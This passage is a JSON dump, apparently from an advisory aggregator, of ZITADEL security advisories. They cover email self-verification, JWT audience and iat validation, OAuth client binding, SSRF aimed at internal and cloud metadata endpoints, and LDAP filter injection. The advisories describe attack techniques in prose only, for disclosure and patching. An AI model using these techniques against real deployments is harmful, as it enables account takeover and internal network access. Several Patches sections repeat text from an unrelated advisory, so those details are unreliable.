process.\n\nWhile [`GHSA-282g-fhmx-xf54`](https://github.com/zitadel/zitadel/security/advisories/GHSA-282g-fhmx-xf54) (CVE-2026-27946, \"Users Can Self-Verify Email/Phone via UpdateHumanUser API\") closed the path that let any authenticated user mark an arbitrary email or phone as verified on their own account by calling `UpdateHumanUser` with `email.is_verified: true`, additional paths were discovered.\n\n### Impact \n\nZitadel provides an API for managing users. The API also allows users to self-manage their own data including updating the email and phone.\n\nDue to an improper permission check, the API allowed returning the verification code for the email and phone to the own user.\nThis allows users to claim ownership of an email or phone they do not control and potentially bypass email-based security policies.\n\nNote that when changing another user's email or phone, regardless of the verification flag, the permissions were correctly checked.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **4.x**: `4.0.0` through `4.15.0` (including RC versions)\n- **3.x**: `3.0.0` through `3.4.10` (including RC versions)\n- **2.x**: `2.43.0` through `2.71.19`\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring the correct permission in case the verification flag is provided and only allows self-management of the email address, resp. phone number itself.\n\n4.x: Upgrade to \u003e=[4.15.1](https://github.com/zitadel/zitadel/releases/tag/v4.15.1)\n3.x: Update to \u003e=[3.4.11](https://github.com/zitadel/zitadel/releases/tag/v3.4.11)\n2.x: Update to \u003e=[3.4.11](https://github.com/zitadel/zitadel/releases/tag/v3.4.11)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version. If an upgrade is not possible, an action (v2) could be used to prevent returning the verification code to the own user.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n\n### Credits\n\nThanks to [eddieran](https://github.com/eddieran) for reporting this vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-29T16:54:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-jq8w-8q2f-ffm9","https://github.com/zitadel/zitadel/commit/90f310212d3a5075084a603bf61fed549c92956d","https://github.com/zitadel/zitadel/commit/a1748b2f0326ddf7be0de44b4f980ae2c07c0151","https://github.com/zitadel/zitadel/commit/ed09b3df7f43e870423e4d8f2757e6894481604f","https://github.com/zitadel/zitadel/releases/tag/v3.4.11","https://github.com/zitadel/zitadel/releases/tag/v4.15.1","https://github.com/advisories/GHSA-jq8w-8q2f-ffm9"],"source_kind":"github","identifiers":["GHSA-jq8w-8q2f-ffm9","CVE-2026-54693"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T17:00:08.925Z","updated_at":"2026-11-05T05:02:06.109Z","epss_percentage":0.00578,"epss_percentile":0.47538,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcTh3LThxMmYtZmZtOc4ABgsL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcTh3LThxMmYtZmZtOc4ABgsL","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260608144108-ed09b3df7f43","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260608144108-ed09b3df7f43"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.43.0, \u003c 3.4.11"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.15.1"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcTh3LThxMmYtZmZtOc4ABgsL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNWg1LW00aG0teGpycs4ABZFA","url":"https://github.com/advisories/GHSA-g5h5-m4hm-xjrr","title":" ZITADEL: Missing Token Audience Validation (`aud`) in JWT IdP Provider","description":"### Summary\n\nAn authentication bypass vulnerability was discovered in ZITADEL's external JWT Identity Provider (IdP) implementation.\n\nWhen validating JSON Web Tokens (JWTs) from an external provider, ZITADEL properly checks the token's cryptographic signature and issuer (`iss`), but it fails to validate the audience (`aud`) claim.\n\nAs a result, any validly signed token from the trusted issuer will be accepted. An attacker who is a legitimate user of a completely separate service sharing the same enterprise Identity Provider can intercept or present their token for that service to ZITADEL, successfully authenticating as that user without authorization.\n\n### Impact\n\nIn a controlled enterprise environment where Identity Providers are explicitly managed, the operational risk is localized. Exploitation requires that an attacker already possesses a valid standard user session token from a shared, trusted issuer intended for an entirely different relying party, limiting the vector to specific, rare cross-service setups where trust boundaries overlap.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x**: `4.0.0` through `4.11.0` (including RC versions)\n* **3.x**: `3.0.0` through `3.4.11` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases, where a required audience can be set in the IdP configuration. Once provided, audience validation will be enforced.\n\n* **4.x**: Upgrade to $\\ge$ [4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2)\n* **3.x**: Upgrade to $\\ge$ [3.4.12](https://github.com/zitadel/zitadel/releases/tag/v3.4.12)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nIf an immediate upgrade is not possible, you can mitigate the risk at the infrastructure layer:\n\n1. **At the IdP:** Ensure the external Identity Provider issues scoped tokens with highly unique, non-overlapping audience values that cannot be misconstrued by separate service deployments.\n2. **At the Perimeter:** Deploy a reverse proxy, API gateway, or Web Application Firewall (WAF) layer in front of ZITADEL to inspect incoming identity tokens and explicitly drop requests where the `aud` field does not strictly match ZITADEL's deployment target.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to [Android-Login-Analysis](https://github.com/Android-Login-Analysis), Jason Zhou and [Pedro Giglioti](https://github.com/Punisher100) for reporting this vulnerability.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-18T13:52:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-g5h5-m4hm-xjrr","https://github.com/zitadel/zitadel/commit/d184e976fc799a383bb6ef9f32c3bae11a3ef85f","https://github.com/zitadel/zitadel/releases/tag/v3.4.12","https://github.com/zitadel/zitadel/releases/tag/v4.15.2","https://github.com/advisories/GHSA-g5h5-m4hm-xjrr"],"source_kind":"github","identifiers":["GHSA-g5h5-m4hm-xjrr","CVE-2026-55669"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T14:00:08.782Z","updated_at":"2026-10-26T21:02:53.930Z","epss_percentage":0.00155,"epss_percentile":0.0459,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNWg1LW00aG0teGpycs4ABZFA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNWg1LW00aG0teGpycs4ABZFA","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260615132747-d184e976fc79","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260615132747-d184e976fc79"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNWg1LW00aG0teGpycs4ABZFA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13eGc3LXcydjMtdzM4Z84ABZE_","url":"https://github.com/advisories/GHSA-wxg7-w2v3-w38g","title":" ZITADEL: Missing Token Lifecyle Validation (`exp` and `iat`) in JWT IdP Provider","description":"### Summary\n\nA token lifecycle validation vulnerability was discovered in ZITADEL's external JWT Identity Provider (IdP) implementation.\nZITADEL enforces a 1-hour maximum token age freshness window (`maxAge`) calculated from the token's issue time. However, this safety check is guarded by a presence condition. If an incoming token omits the `iat` claim, the freshness check is entirely bypassed, allowing arbitrarily old tokens to pass authentication successfully.\n\nPer the OIDC Core 1.0 specification, identity token validation pipelines must strictly handle and enforce session expiration. ZITADEL's silent acceptance of tokens missing these temporal constraints compromises session integrity.\n\n### Impact\n\nAn attacker in possession of a stale token lacking an `iat` claim can reuse it indefinitely without triggering the maximum age freshness invalidation.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x**: `4.0.0` through `4.15.1` (including RC versions)\n* **3.x**: `3.0.0` through `3.4.11` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. ZITADEL now explicitly rejects tokens that lack an `iat` claim.\n\n* **4.x**: Upgrade to $\\ge$ [4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2)\n* **3.x**: Upgrade to $\\ge$ [3.4.12](https://github.com/zitadel/zitadel/releases/tag/v3.4.12)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nIf an immediate upgrade is not feasible, ensure at the upstream Identity Provider level that your external IdP explicitly includes the `iat` claim in all signed JWTs.\n\n### Publication Note\n\nThis advisory covers a subset of the security issues originally published on ZITADEL's registry under this tracking ID. To adhere strictly to CVE formatting standards regarding independently fixable flaws, the original \"Token Lifecycle Validation\" disclosure has been split into two granular entries. This entry specifically tracks the missing `iat` claim logic, while a separate companion entry tracks the missing `exp` claim logic: [GHSA-v77h-2w3m-94hx](https://github.com/zitadel/zitadel/security/advisories/GHSA-v77h-2w3m-94hx)\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to [Android-Login-Analysis](https://github.com/Android-Login-Analysis), Jason Zhou and [Pedro Giglioti](https://github.com/Punisher100) for reporting this vulnerability.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-18T13:52:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-wxg7-w2v3-w38g","https://github.com/zitadel/zitadel/commit/fad02c6d9f4587956f830d4536c64a9a94baa7ac","https://github.com/zitadel/zitadel/releases/tag/v3.4.12","https://github.com/zitadel/zitadel/releases/tag/v4.15.2","https://nvd.nist.gov/vuln/detail/CVE-2026-56664","https://github.com/zitadel/zitadel/commit/4925fab849d39a88674485d937b79e54318b48a8","https://github.com/zitadel/zitadel/commit/d1c3aa84af8fcb0f33910ada30b866f4afb551ac","https://github.com/advisories/GHSA-wxg7-w2v3-w38g"],"source_kind":"github","identifiers":["GHSA-wxg7-w2v3-w38g","CVE-2026-56664"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T14:00:08.782Z","updated_at":"2026-10-26T21:02:53.931Z","epss_percentage":0.00318,"epss_percentile":0.24559,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13eGc3LXcydjMtdzM4Z84ABZE_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13eGc3LXcydjMtdzM4Z84ABZE_","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260615122908-fad02c6d9f45","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260615122908-fad02c6d9f45"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13eGc3LXcydjMtdzM4Z84ABZE_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14cXh2LTRqYzIteDU2eM4ABZE-","url":"https://github.com/advisories/GHSA-xqxv-4jc2-x56x","title":" ZITADEL: Missing client_id binding in OIDC authorization code exchange and refresh token flows (RFC 6749 Section 4.1.3 violation)","description":"### Summary\n\nZitadel's OAuth2 / OIDC `CodeExchange` and `RefreshToken` implementations omit a critical validation step to ensure that the requesting client matches the client that originally initiated the authorization flow. This violates RFC 6749 Section 4.1.3, which mandates that the authorization server must ensure the authorization code was issued to the authenticated confidential client.\n\n### Impact\n\nThis flaw creates potential vulnerabilities in two main authentication phases, **provided specific external preconditions are met**:\n\n* **Authorization Code Injection:** An attacker who intercepts an authorization code (via an independent application vulnerability such as XSS, referrer leakage, log access, or network interception) can exchange it using credentials from a completely different client (`ClientB`) registered on the same Zitadel instance. Zitadel will authenticate `ClientB` and issue tokens for the victim user without verifying the client binding.\n* **Refresh Token Cross-Use:** An attacker who successfully steals a valid refresh token (via an external application exploit or data leak) can present it under a different client identity. Zitadel validates the token's format and expiration but fails to enforce client binding, allowing the attacker to maintain persistent access from an unauthorized client.\n* Device Authorization Cross-Use: An attacker who intercepts or manipulates a device authorization flow grant can finalize the exchange using a different client context than the one that initiated the device session, bypassing intended client boundaries.\n\n**Scope and Mitigation Factors:**\n\n* **External Preconditions:** It is critical to note that exploiting either vector **requires a pre-existing vulnerability or data leak within the target application environment** to intercept the code or token in the first place. Securing the application layer against token theft remains outside the scope of Zitadel.\n* **Multi-tenant risk:** On shared or multi-tenant instances, a client belonging to one tenant could theoretically exploit codes/tokens belonging to another tenant's clients if they are successfully intercepted.\n* **PKCE protection:** Clients strictly using PKCE (Proof Key for Code Exchange) are partially mitigated against the authorization code injection vector, as the attacker would still require the `code_verifier`. However, PKCE does not protect against refresh token cross-use.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x:** `4.0.0` through `4.15.1` (including RC versions)\n* **3.x:** `3.0.0` through `3.4.11` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases by re-introducing strict client identity validation on the `CodeExchange` and `RefreshToken` grants.\n\nPlease upgrade to one of the following secure versions:\n\n- **4.x**: Upgrade to $\\ge$[4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2)\n- **3.x**: Update to $\\ge$[3.4.12](https://github.com/zitadel/zitadel/releases/tag/v3.4.12)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version.\n\nTo reduce exposure in the interim, ensure absolute adherence to application security best practices to prevent credential/token theft, enforce the use of **PKCE** for all clients to mitigate the Authorization Code Injection risk, and minimize refresh token lifespans.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to [kodareef5](https://github.com/kodareef5), Shubham Raj / [Causal Security](https://causalsecurity.com/), and Gaurav Popalghat for identifying and responsibly reporting this or a part of this vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-18T13:52:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-xqxv-4jc2-x56x","https://github.com/zitadel/zitadel/commit/0973b074b48816757c47fe732b06d2488d3d284c","https://github.com/zitadel/zitadel/releases/tag/v3.4.12","https://github.com/zitadel/zitadel/releases/tag/v4.15.2","https://nvd.nist.gov/vuln/detail/CVE-2026-55672","https://github.com/zitadel/zitadel/commit/562403079a98cf2059cdac11865a45e2f285be71","https://github.com/zitadel/zitadel/commit/5b1708e0e650398f0ebc3341714f0798b0118917","https://github.com/advisories/GHSA-xqxv-4jc2-x56x"],"source_kind":"github","identifiers":["GHSA-xqxv-4jc2-x56x","CVE-2026-55672"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T14:00:08.782Z","updated_at":"2026-11-04T06:04:13.304Z","epss_percentage":0.00433,"epss_percentile":0.37547,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cXh2LTRqYzIteDU2eM4ABZE-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14cXh2LTRqYzIteDU2eM4ABZE-","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260616131956-0973b074b488","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260616131956-0973b074b488"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cXh2LTRqYzIteDU2eM4ABZE-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02eDh2LTJmcTUtMjIyOc4ABZE8","url":"https://github.com/advisories/GHSA-6x8v-2fq5-2229","title":" ZITADEL: Cross-Tenant User Leakage via Recycled Identifiers","description":"### Summary\n\nA flaw in the user lifecycle enforcement allowed deleted users to retain their original organization/tenant association. Recreating a deleted user under a distinct organization can cause the new user instance to be incorrectly provisioned within the original organization if the previous ID would be used to recreate it.\n\n### Impact\n\nWhen a user is created, the system maps the generated or provided ID to its target organization (`Org A`). When that user is subsequently deleted, a deletion event is appended to the stream, but the historical mapping of the resource owner within the event store's validation layer is not cleared.\n\nIf a new user is later provisioned in a different organization (`Org B`) using that exact same ID, the event store validation logic reads the stream's history, matches it to the original organization, and routes the new user's events to `Org A` instead of `Org B`.\n\nThis issue represents a localized multi-tenancy isolation anomaly rather than an easily exploitable attack vector. Because the new user instance is incorrectly routed and provisioned inside `Org A` instead of `Org B`, an administrator from `Org A` inadvertently gains full access to this new user record.\n\nHowever, there is no technical mechanism for a malicious actor to force, automate, or target this behavior against a specific user or tenant. Because the scenario relies entirely on an accidental sequence of operational events and requires the recycling of a highly specific ID space, the practical security risk is exceptionally low.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x:** `4.0.0` through `4.15.1` (including RC versions)\n* **3.x:** `3.0.0` through `3.4.11` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring the correct permission in case the verification flag is provided and only allows self-management of the email address, resp. phone number itself.\n\n- **4.x**: Upgrade to $\\ge$[4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2)\n- **3.x**: Update to $\\ge$[4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version. \n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Charlie Graven from Famedly for reporting this vulnerability.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-18T13:07:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-6x8v-2fq5-2229","https://github.com/zitadel/zitadel/commit/6082e59d47c17a9d54a6b0556b3f31559d7c620a","https://github.com/zitadel/zitadel/releases/tag/v4.15.2","https://github.com/advisories/GHSA-6x8v-2fq5-2229"],"source_kind":"github","identifiers":["GHSA-6x8v-2fq5-2229","CVE-2026-55670"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T14:00:08.785Z","updated_at":"2026-10-26T21:02:53.932Z","epss_percentage":0.00362,"epss_percentile":0.29707,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02eDh2LTJmcTUtMjIyOc4ABZE8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02eDh2LTJmcTUtMjIyOc4ABZE8","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260615092437-6082e59d47c1","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260615092437-6082e59d47c1"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02eDh2LTJmcTUtMjIyOc4ABZE8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yOWpoLThjZnEtcnI4eM4ABZEo","url":"https://github.com/advisories/GHSA-29jh-8cfq-rr8x","title":" ZITADEL: Server-Side Request Forgery (SSRF) and Denylist Bypass in Outgoing HTTP Components","description":"### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability was discovered in Zitadel affecting:\n\n* **HTTP Notification Channels:** Used as an alternative to SMTP/Twilio configurations, sending payloads to user-defined URLs via HTTP POST webhooks.\n* **OIDC BackChannel Logout:** Terminates sessions across different applications. When a session ends, the Zitadel server sends an HTTP POST request to configured endpoints.\n* **SAML Metadata URL Fetches:** Fetches SAML metadata configurations from user-provided external URLs.\n\nUser-defined URLs in these components were not properly validated against an internal denylist, allowing potentially malicious URLs to bypass restrictions. Furthermore, the existing denylist mechanism previously introduced for Actions was found to be vulnerable to **DNS rebinding**, **HTTP redirects**, and **protocol downgrades (HTTPS to HTTP)**, and it missed several common local network default entries.\n\nBecause an attacker can supply arbitrary URLs—including loopback addresses, internal IPs, or cloud link-local addresses—they could potentially gather internal network architecture details, scan internal ports, or interact with unauthorized internal services and infrastructure.\n\n### Impact\n\nWhen a user-supplied URL points to a local host or internal IP address, an adversary can perform a Server-Side Request Forgery (SSRF) attack. This allows them to map internal network structures and exploit exposed internal services.\n\nBy leveraging DNS rebinding, an attacker could also bypass standard DNS-level checks, creating Time-of-Check to Time-of-Use (TOCTOU) gaps to access restricted internal endpoints. Additionally, vulnerabilities to HTTP redirects and protocol downgrades could allow attackers to manipulate the request flow or intercept sensitive communication.\n\nNotably, if Zitadel is deployed within cloud environments (such as AWS, GCP, or Azure) that still permit legacy IMDSv1 or unauthenticated cloud metadata endpoints (`169.254.169.254`), an attacker could theoretically attempt to target these metadata services.\n\nWhile Zitadel expects specific schemas or response formats for these features (which inherently limits data exfiltration capabilities and reduces the severe execution of the threat vector), users are strongly advised to patch immediately.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x**: `4.0.0` through `4.15.1` (including RC versions)\n* **3.x**: `3.0.0` through `3.4.11` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by securely validating target URLs against a hardened denylist. By default, localhost, loopback IPs, and standard internal network blocks are denied.\n\n**Note on Backports:** This fix was only released on `v4.x`. While some of the affected components were generally available (GA), backporting the security fix to `v3.x` was not feasible due to the extensive code refactoring required to implement the unified network client securely. Please check the workarounds section if an upgrade to `v4.x` is not immediately possible.\n\n* **4.x**: Upgrade to $\\ge$[4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2)\n* **3.x**: Update to $\\ge$[v4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2) or check out workarounds\n\n### Workarounds\n\nThe recommended solution is to update Zitadel to a patched version.\n\nIf an immediate upgrade is not possible, you can mitigate the risk by implementing strict network policies, egress firewalls, or reverse proxy rules within your infrastructure to block Zitadel from initiating outbound connections to your internal network, loopback interfaces, or cloud metadata endpoints. Note that managing these network controls is outside the scope of Zitadel's native configurations.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to everyone who reported this or a part of the vulnerability:\n\n* [cwanglab](https://github.com/cwanglab)\n* [wooseokdotkim](https://github.com/wooseokdotkim)\n* [ffulbtech](https://github.com/ffulbtech)\n* [0xBassia](https://github.com/0xBassia)\n* [5ud0](https://github.com/5ud0er) from Tarmo Technologies\n* [alanturing881](https://github.com/alanturing881)\n* [dungNHVhust](https://github.com/dungNHVhust) and [sondt99](https://github.com/sondt99)\n* [oduoke567](https://github.com/oduoke567)\n* [DavidCarliez](https://github.com/DavidCarliez)\n* [eddieran](https://github.com/eddieran)\n* [tikket1](https://github.com/tikket1)\n* [Wernerina](https://github.com/wernerina)\n* [morimori-dev](https://github.com/morimori-dev)\n* [vamsik2k5](https://github.com/vamsik2k5)","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-18T13:01:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-29jh-8cfq-rr8x","https://github.com/zitadel/zitadel/commit/8e82ec1cb9a2b154ff48d3a0fa96b43d1428061f","https://github.com/zitadel/zitadel/releases/tag/v4.15.2","https://github.com/advisories/GHSA-29jh-8cfq-rr8x"],"source_kind":"github","identifiers":["GHSA-29jh-8cfq-rr8x","CVE-2026-55671"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T14:00:08.807Z","updated_at":"2026-11-04T06:04:13.325Z","epss_percentage":0.00414,"epss_percentile":0.35528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yOWpoLThjZnEtcnI4eM4ABZEo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yOWpoLThjZnEtcnI4eM4ABZEo","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260615133614-8e82ec1cb9a2","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260615133614-8e82ec1cb9a2"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yOWpoLThjZnEtcnI4eM4ABZEo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yeHZ4LWhocGotcTZweM4ABWfQ","url":"https://github.com/advisories/GHSA-rxvx-hhpj-q6px","title":"ZITADEL has LDAP Filter Injection in Login Flow","description":"## Summary\n\nA vulnerability was discovered in Zitadel's LDAP identity provider implementation, which fails to properly escape user-provided usernames before incorporating them into LDAP search filters. This allows unauthenticated attackers to perform LDAP Filter Injection during the login process.\n\n## Impact\n\nWhile this vulnerability does not allow for a full authentication bypass, an attacker can use LDAP metacharacters (such as `*`, `(`, `)`) to perform blind LDAP injection. By observing the different failure (or success) responses, an attacker can systematically enumerate valid usernames and extract sensitive attribute data from the connected LDAP directory.\n\nNote that an authentication bypass is not possible.\n\n## Affected Versions\n\nSystems integrating LDAP as IdPs and running one of the following versions are affected:\n\n- **4.x**: `4.0.0` through `4.14.0` (including RC versions)\n- **3.x**: `3.1.0` through `3.4.9`\n- **2.x**: `2.71.11` through `2.71.19`\n\n## Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring the correct permission in case the verification flag is provided and only allows self-management of the email address, resp. phone number itself.\n\n- **4.x**: Upgrade to \u003e=[4.15.0](https://github.com/zitadel/zitadel/releases/tag/v4.15.0)\n- **3.x**: Update to \u003e=[3.4.10](https://github.com/zitadel/zitadel/releases/tag/v3.4.10)\n- **2.x**: Update to \u003e=[3.4.10](https://github.com/zitadel/zitadel/releases/tag/v3.4.10)\n\n## Workarounds\n\nThe recommended solution is to upgrade to a patched version. If an immediate upgrade is not possible, developers should ensure their project's LDAP directory has strict access controls to limit the scope of information disclosure.\n\n## Questions\n\nIf there are any questions or comments about this advisory, please send an email to [security@zitadel.com](mailto:security@zitadel.com)\n\n## Credits\n\nThis vulnerability was identified and reported by **ProScan AppSec** ([https://proscan.one/](https://proscan.one)).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-08T17:11:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-rxvx-hhpj-q6px","https://nvd.nist.gov/vuln/detail/CVE-2026-44671","https://github.com/zitadel/zitadel/releases/tag/v3.4.10","https://github.com/zitadel/zitadel/releases/tag/v4.15.0","https://github.com/advisories/GHSA-rxvx-hhpj-q6px"],"source_kind":"github","identifiers":["GHSA-rxvx-hhpj-q6px","CVE-2026-44671"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-08T18:00:08.161Z","updated_at":"2026-11-04T06:05:08.422Z","epss_percentage":0.00479,"epss_percentile":0.41055,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yeHZ4LWhocGotcTZweM4ABWfQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yeHZ4LWhocGotcTZweM4ABWfQ","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"3.4.10","vulnerable_version_range":"\u003e= 3.1.0, \u003c= 3.4.9"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.71.11, \u003c= 2.71.19"},{"first_patched_version":"4.15.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.14.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yeHZ4LWhocGotcTZweM4ABWfQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nMnBmLXd3NW0tMnI5bc4ABTz5","url":"https://github.com/advisories/GHSA-g2pf-ww5m-2r9m","title":"Zitadel is missing enforcement of organization scopes","description":"### Summary\n\nA vulnerability in Zitadel's OAuth2/OIDC interface, which allowed users to bypass organization enforcement during authentication.\n\n### Impact\n\nZitadel allows applications to enforce an organzation context during authentication using [scopes](https://zitadel.com/docs/apis/openidoauth/scopes#reserved-scopes) (`urn:zitadel:iam:org:id:{id}` and 